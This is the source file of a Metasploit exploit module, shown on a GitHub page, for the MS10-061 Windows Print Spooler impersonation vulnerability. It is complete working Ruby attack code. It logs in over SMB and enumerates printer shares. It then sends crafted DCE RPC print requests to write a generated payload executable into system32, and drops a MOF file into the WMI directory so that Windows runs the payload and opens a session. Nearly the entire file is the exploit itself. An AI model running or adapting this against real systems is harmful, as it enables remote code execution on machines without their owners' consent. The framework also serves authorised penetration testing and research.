-
Notifications
You must be signed in to change notification settings - Fork 14k
/
ms10_061_spoolss.rb
437 lines (360 loc) · 11.9 KB
/
ms10_061_spoolss.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',
'Description' => %q{
This module exploits the RPC service impersonation vulnerability detailed in
Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
to create a file. The working directory at the time is %SystemRoot%\\system32.
An attacker can specify any file name, including directory traversal or full paths.
By sending WritePrinter requests, an attacker can fully control the content of
the created file.
In order to gain code execution, this module writes to a directory used by Windows
Management Instrumentation (WMI) to deploy applications. This directory (Wbem\\Mof)
is periodically scanned and any new .mof files are processed automatically. This is
the same technique employed by the Stuxnet code found in the wild.
},
'Author' =>
[
'jduck', # re-discovery, printer RPC stubs, module
'hdm' # ATSVC RPC proxy method, etc ;)
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'References' =>
[
[ 'OSVDB', '67988' ],
[ 'CVE', '2010-2729' ],
[ 'MSB', 'MS10-061' ]
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "",
'DisableNops' => true,
},
'Targets' =>
[
[ 'Windows Universal', { } ]
],
'DisclosureDate' => '2010-09-14',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMBPIPE', [ false, "The named pipe for the spooler service", "spoolss"]),
OptString.new('PNAME', [ false, "The printer share name to use on the target" ]),
])
deregister_options('SMB::ProtocolVersion')
end
def exploit
connect(versions: [1])
login_time = Time.now
smb_login()
print_status("Trying target #{target.name}...")
handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# Try all of the printers :)
printers = []
if (pname = datastore['PNAME'])
printers << pname
else
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
)
)
printers = []
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
if ( lconv != 0)
scoff -= lconv
end
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
# we only want printers
next if stype != 1
printers << sname
end
end
# Generate a payload EXE to execute
exe = generate_payload_exe
printers.each { |pr|
pname = "\\\\#{rhost}\\#{pr}"
print_status("Attempting to exploit MS10-061 via #{pname} ...")
# Open the printer
status,ph = open_printer_ex(pname)
if status != 0
fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}")
end
print_status("Printer handle: %s" % ph.unpack('H*'))
# NOTE: fname can be anything nice to write to (cwd is system32), even
# directory traversal and full paths are OK.
fname = rand_text_alphanumeric(14) + ".exe"
write_file_contents(ph, fname, exe)
# Generate a MOF file and write it so that the Windows Management Service will
# execute our binary ;)
mofname = rand_text_alphanumeric(14) + ".mof"
mof = generate_mof(mofname, fname)
write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)
# ClosePrinter
status,ph = close_printer(ph)
if status != 0
fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}")
end
break if session_created?
}
print_status("Everything should be set, waiting for a session...")
handler
cnt = 1
while session_created? == false and cnt < 25
::IO.select(nil, nil, nil, 0.25)
cnt += 1
end
disconnect
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
fail_with(Failure::Unknown, $!.message)
end
#
# Use the vuln to write a file :)
#
def write_file_contents(ph, fname, data)
doc = rand_text_alphanumeric(16+rand(16))
# StartDocPrinter
status,jobid = start_doc_printer(ph, doc, fname)
if status != 0 or jobid < 0
fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}")
end
print_status("Job started: 0x%x" % jobid)
# WritePrinter
status,wrote = write_printer(ph, data)
if status != 0 or wrote != data.length
fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length))
end
print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])
# EndDocPrinter
status = end_doc_printer(ph)
if status != 0
fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}")
end
end
#
# Call RpcOpenPrinterEx
#
def open_printer_ex(pname, machine = nil, user = nil)
=begin
DWORD RpcOpenPrinterEx(
[in, string, unique] STRING_HANDLE pPrinterName,
[out] PRINTER_HANDLE* pHandle,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] DWORD AccessRequired,
[in] SPLCLIENT_CONTAINER* pClientInfo
);
=end
# NOTE: For more information about this encoding, see the following
# sections of the Open Group's C706 DCE 1.1: RPC
#
# 14.3.8 Unions
# 14.3.10 Pointers
# 14.3.12.3 Algorithm for Deferral of Referents
#
machine ||= ''
machine = NDR.uwstring(machine)
user ||= ''
user = NDR.uwstring(user)
splclient_info =
NDR.long(0) + # DWORD dwSize;
machine[0,4] + # [string] wchar_t* pMachineName;
user[0,4] + # [string] wchar_t* pUserName;
NDR.long(7600) + # DWORD dwBuildNum
NDR.long(3) + # DWORD dwMajorVersion;
NDR.long(0) + # DWORD dwMinorVersion;
NDR.long(9) # unsigned short wProcessorArchitecture;
# Add the deferred members
splclient_info << machine[4, machine.length]
splclient_info << user[4, user.length]
splclient_info[0,4] = NDR.long(splclient_info.length)
splclient_info =
# union!
NDR.long(1) + # discriminant (inside copy)
NDR.long(rand(0xffffffff)) +
splclient_info
stubdata =
NDR.uwstring(pname) + # pPrinterName
NDR.long(0) +
# DEVMODE_CONTAINER (null)
NDR.long(0) +
NDR.long(0) +
# AccessRequired
NDR.long(0x02020000) +
# SPLCLIENT_CONTAINER
NDR.long(1) + # Level (must be 1)
# SPLCLIENT_INFO_1
splclient_info
#print_status('Sending OpenPrinterEx request...')
response = dcerpc.call(69, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
handle = dcerpc.last_response.stub_data[0,20]
status = dcerpc.last_response.stub_data[20,4].unpack('V').first
return [status, handle]
end
nil
end
#
# Call RpcStartDocPrinter
#
def start_doc_printer(handle, dname, fname, dtype = nil)
=begin
typedef struct _DOC_INFO_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
DOC_INFO_1* pDocInfo1;
} DocInfo;
} DOC_INFO_CONTAINER;
DWORD RpcStartDocPrinter(
[in] PRINTER_HANDLE hPrinter,
[in] DOC_INFO_CONTAINER* pDocInfoContainer,
[out] DWORD* pJobId
);
=end
dname = NDR.uwstring(dname)
if fname
fname = NDR.uwstring(fname)
else
fname = NDR.long(0)
end
if dtype
dtype = NDR.uwstring(dtype)
else
dtype = NDR.long(0)
end
doc_info =
dname[0, 4] +
fname[0, 4] +
dtype[0, 4]
# Add the deferred members
doc_info << dname[4, dname.length]
doc_info << fname[4, fname.length]
doc_info << dtype[4, dtype.length]
doc_info =
# Union!
NDR.long(1) +
NDR.long(rand(0xffffffff)) +
doc_info
stubdata =
handle +
NDR.long(1) +
doc_info
#print_status('Sending StartDocPrinter request...')
response = dcerpc.call(17, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
jobid, status = dcerpc.last_response.stub_data.unpack('VV')
return [status, jobid]
end
nil
end
#
# Call RpcWritePrinter
#
def write_printer(handle, data)
=begin
DWORD RpcWritePrinter(
[in] PRINTER_HANDLE hPrinter,
[in, size_is(cbBuf)] BYTE* pBuf,
[in] DWORD cbBuf,
[out] DWORD* pcWritten
);
=end
stubdata =
handle +
NDR.long(data.length) +
# Perhaps we need a better data type for BYTE* :)
data +
NDR.align(data) +
NDR.long(data.length)
#print_status('Sending WritePrinter request...')
response = dcerpc.call(19, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
wrote,status = dcerpc.last_response.stub_data.unpack('VV')
return [status, wrote]
end
nil
end
#
# Call RpcEndDocPrinter
#
def end_doc_printer(handle)
=begin
DWORD RpcEndDocPrinter(
[in] PRINTER_HANDLE* phPrinter
);
=end
#print_status('Sending EndDocPrinter request...')
response = dcerpc.call(23, handle)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
status = dcerpc.last_response.stub_data[0,4].unpack('V').first
return status
end
nil
end
#
# Call RpcClosePrinter
#
def close_printer(handle)
=begin
DWORD RpcClosePrinter(
[in, out] PRINTER_HANDLE* phPrinter
);
=end
#print_status('Sending ClosePrinter request...')
response = dcerpc.call(29, handle)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
handle = dcerpc.last_response.stub_data[0,20]
status = dcerpc.last_response.stub_data[20,4].unpack('V').first
return [status,handle]
end
nil
end
def seconds_since_midnight(time)
# .tv_sec always uses .utc
(time.tv_sec % 86400)
# This method uses the localtime
#(time.hour * 3600) + (time.min * 60) + (time.sec)
end
# We have to wait a bit longer since the WMI service is a bit slow..
def wfs_delay
10
end
end